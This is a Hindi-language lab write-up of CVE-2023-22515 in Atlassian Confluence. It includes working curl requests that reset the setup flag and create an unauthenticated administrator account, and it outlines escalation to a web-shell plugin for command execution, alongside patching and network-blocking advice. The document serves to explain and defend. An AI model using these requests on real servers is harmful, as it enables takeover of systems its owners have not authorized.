
CVE-2023-22515 का विस्तृत विश्लेषण और प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Atlassian Confluence Data Center और Server में एक गंभीर भंग एक्सेस नियंत्रण भेद्यता है, जो अप्रमाणित व्यवस्थापक खाता निर्माण और संभावित रिमोट कोड निष्पादन को सक्षम बनाता है।
CVE-2023-22515 Atlassian Confluence Data Center और Server उत्पादों में पाया गया एक घातक (Critical) Broken Access Control भेद्यता है। हमलावर बिना प्रमाणीकरण के दूरस्थ रूप से सर्वर की प्रारंभिक सेटअप प्रक्रिया को पुन: सक्रिय कर सकता है और इसके माध्यम से एक नया व्यवस्थापक खाता बनाकर सिस्टम पर पूर्ण नियंत्रण प्राप्त कर सकता है।
इस भेद्यता का मूल XWork2 फ्रेमवर्क के पैरामीटर बाइंडिंग तंत्र और Confluence की क्रिया (Action) प्रसंस्करण तर्क के बीच अपर्याप्त सत्यापन में है।
हमलावर URL पैरामीटर के माध्यम से bootstrapStatusProvider.applicationConfig.setupComplete मान को false में हेरफेर कर सकता है। यह गुण Confluence की स्थापना और सेटअप पूर्णता का निर्धारण करने वाला एक महत्वपूर्ण फ्लैग है।
GET /server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false HTTP/1.1
Host: <target-ip>
उपरोक्त अनुरोध भेजने पर सर्वर मेमोरी में मान लेता है कि सेटअप पूरा नहीं हुआ है। यह स्थायी कॉन्फ़िगरेशन फ़ाइल (confluence.cfg.xml) को नहीं बदलता है, लेकिन रनटाइम के दौरान स्थिति बदलकर एक्सेस कंट्रोल को बायपास करने में सक्षम बनाता है।
/server-info.action जैसे सार्वजनिक एंडपॉइंट तक पहुंचते हुए bootstrapStatusProvider.applicationConfig.setupComplete=false पैरामीटर पास करता है।/setup/* के अंतर्गत व्यवस्थापक सेटिंग पृष्ठों पर प्रतिबंध हट जाते हैं।/setup/setupadministrator.action पृष्ठ पर पहुंचकर एक नया सिस्टम व्यवस्थापक (System Administrator) खाता बनाता है।Docker का उपयोग करके कमजोर संस्करण (8.5.1) का Confluence Server स्थापित किया गया।
atlassian/confluence-server:8.5.1docker-compose.yml (सारांश):
services:
confluence:
image: atlassian/confluence-server:8.5.1
ports:
- "8090:8090"
environment:
- ATL_DB_TYPE=postgresql
# ... DB 설정 ...
Python निर्भरता समस्याओं से बचने के लिए curl का उपयोग कर Bash स्क्रिप्ट के रूप में PoC लिखा और निष्पादित किया।
एक्सप्लॉइट प्रवाह:
सेटअप स्थिति रीसेट करें:
curl -v "http://localhost:8090/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false"
परिणाम: HTTP 302 रीडायरेक्ट प्रतिक्रिया लौटाई गई, और आंतरिक रूप से सेटअप पूर्णता स्थिति हटा दी गई।
व्यवस्थापक बनाएं:
curl -X POST "http://localhost:8090/setup/setupadministrator.action" \
-H "X-Atlassian-Token: no-check" \
--data "username=hacked_admin&password=p@ssw0rd123&..."
परिणाम: इस अनुरोध के माध्यम से hacked_admin खाता बनाने का प्रयास किया गया, और बाद में लॉगिन पृष्ठ पर उस खाते से पहुंच संभव हो जाती है।
Atlassian द्वारा प्रदान किए गए नवीनतम संस्करण में तुरंत अपग्रेड करना चाहिए।
यदि पैच संभव नहीं है, तो /setup/* एंडपॉइंट तक पहुंच को नेटवर्क स्तर (लोड बैलेंसर, WAF, रिवर्स प्रॉक्सी आदि) पर अवरुद्ध करना चाहिए।
/setup/*CVE-2023-22515 के माध्यम से व्यवस्थापक अधिकार प्राप्त करने वाला हमलावर सिस्टम कमांड निष्पादित (RCE) करने के चरण में आगे बढ़ सकता है।
Confluence व्यवस्थापकों को प्लगइन (Add-on) स्थापित करने का अधिकार प्रदान करता है। हमलावर इसका दुरुपयोग करके वेब शेल (Web Shell) कार्यक्षमता वाला एक दुर्भावनापूर्ण प्लगइन अपलोड करके सर्वर ऑपरेटिंग सिस्टम पर नियंत्रण प्राप्त कर सकता है।
/setup/finishsetup.action आदि के माध्यम से जबरन सेटअप पूरा करें (लाइसेंस बायपास आवश्यक) या मौजूदा सत्र का उपयोग करके सुलभ व्यवस्थापक मेनू ब्राउज़ करेंConfluence Administration -> Manage Apps -> Upload App.jar फ़ाइल/plugins/servlet/webshell?cmd=id) तक पहुंचकर सिस्टम कमांड निष्पादित करेंयह प्रयोगशाला वातावरण (Docker) एक वैध Confluence लाइसेंस के बिना है, इसलिए प्रारंभिक सेटअप चरण पूरा नहीं किया जा सकता। इस प्रकार, व्यवस्थापक खाता निर्माण अनुरोध सफल (302 रीडायरेक्ट) हुआ, लेकिन बाद में प्लगइन मेनू तक पहुंच और वास्तविक RCE निष्पादन सीमित था। वास्तविक उत्पादन वातावरण में, लाइसेंस पंजीकृत है, इसलिए बिना किसी सीमा के तुरंत RCE संभव है।
CVE-2023-22515 बिना प्रमाणीकरण के व्यवस्थापक अधिकार प्राप्त करने की एक अत्यंत खतरनाक भेद्यता है। केवल URL पैरामीटर हेरफेर से हमला संभव है, जिससे हमले की कठिनाई बहुत कम है। इसलिए, इस संस्करण का उपयोग करने वाले संगठनों को तत्काल पैच या शमन उपाय लागू करने चाहिए।